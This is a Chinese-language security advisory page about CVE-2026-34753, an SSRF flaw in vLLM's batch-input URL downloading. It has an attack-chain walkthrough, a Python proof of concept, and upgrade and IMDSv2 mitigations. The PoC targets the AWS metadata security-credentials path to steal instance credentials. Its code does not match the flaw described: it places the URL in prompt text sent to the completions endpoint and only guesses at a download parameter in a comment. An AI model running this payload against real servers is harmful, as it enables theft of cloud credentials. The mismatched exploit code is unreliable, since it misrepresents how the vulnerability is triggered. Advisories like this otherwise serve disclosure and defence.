IPBUF安全漏洞报告
English
CVE-2026-34753 CVSS 5.4 中危

CVE-2026-34753 vLLM服务端请求伪造漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-34753
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vLLM

相关标签

SSRFvLLM服务端请求伪造LLM安全CVE-2026-34753

漏洞概述

vLLM是一个大型语言模型推理和服务引擎。在0.16.0至0.19.0之前的版本中,`download_bytes_from_url`函数存在服务器端请求伪造(SSRF)漏洞。攻击者若能控制批处理输入JSON,即可诱导vLLM批处理运行器从服务器端发起任意HTTP或HTTPS请求,且未对URL进行任何验证或域名限制。此漏洞可被利用于探测或攻击服务器内部可达的云元数据端点或内部HTTP API。该漏洞已在0.19.0版本中修复。

技术细节

该漏洞的核心原理在于vLLM在处理用户提供的批处理输入JSON时,调用了`download_bytes_from_url`函数来获取数据,但该函数缺乏对目标URL的有效性验证和域名限制。在受影响版本中,任何能够控制批处理输入的攻击者均可通过精心构造的JSON payload,将URL参数指向内网地址或敏感端点。当vLLM服务器处理该请求时,会代替攻击者向后端服务器发起HTTP/HTTPS请求。由于请求发自服务端,它通常能绕过防火墙对内网的访问限制。攻击者可以利用这一点探测内网拓扑、读取云厂商的元数据服务(例如AWS IMDSv1)获取临时凭证,或者对内部脆弱的API发起攻击,从而导致信息泄露或进一步的内网渗透。

攻击链分析

STEP 1
1. 信息收集与访问
攻击者发现目标vLLM服务实例,并获得向其API发送批处理请求的权限。
STEP 2
2. 构造恶意Payload
攻击者构建特制的JSON数据,其中的URL字段指向内部敏感服务(如云元数据服务 http://169.254.169.254)。
STEP 3
3. 发送攻击请求
攻击者将包含恶意URL的JSON批处理请求发送给vLLM服务器的API接口。
STEP 4
4. 服务端请求伪造
vLLM服务器解析JSON,调用`download_bytes_from_url`函数,向攻击者指定的内部地址发起HTTP请求。
STEP 5
5. 获取敏感信息
内部服务响应请求,将敏感数据(如实例凭证)返回给vLLM服务器,攻击者通过响应回显或带外通道获取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target vLLM server endpoint url = "http://vllm-server:8000/v1/completions" # Malicious URL targeting internal metadata service (e.g., AWS IMDS) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Construct the malicious JSON payload # This payload injects the SSRF URL into the batch input payload = { "model": "vllm-model", "prompt": "Read the content from: " + internal_target, "max_tokens": 50 } # Example if the vulnerability is triggered via a specific download parameter # payload = { # "download_url": internal_target # } try: # Send the request to trigger the SSRF response = requests.post(url, json=payload) if response.status_code == 200: print("[+] Potential SSRF triggered successfully.") print("[+] Server Response:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

vLLM >= 0.16.0
vLLM < 0.19.0

防御指南

临时缓解措施
如果无法立即升级,建议在操作系统或防火墙层面限制vLLM进程对内网IP段(如169.254.169.254)的访问。对于云环境,务必启用实例元数据服务版本2(IMDSv2)以防止SSRF窃取凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表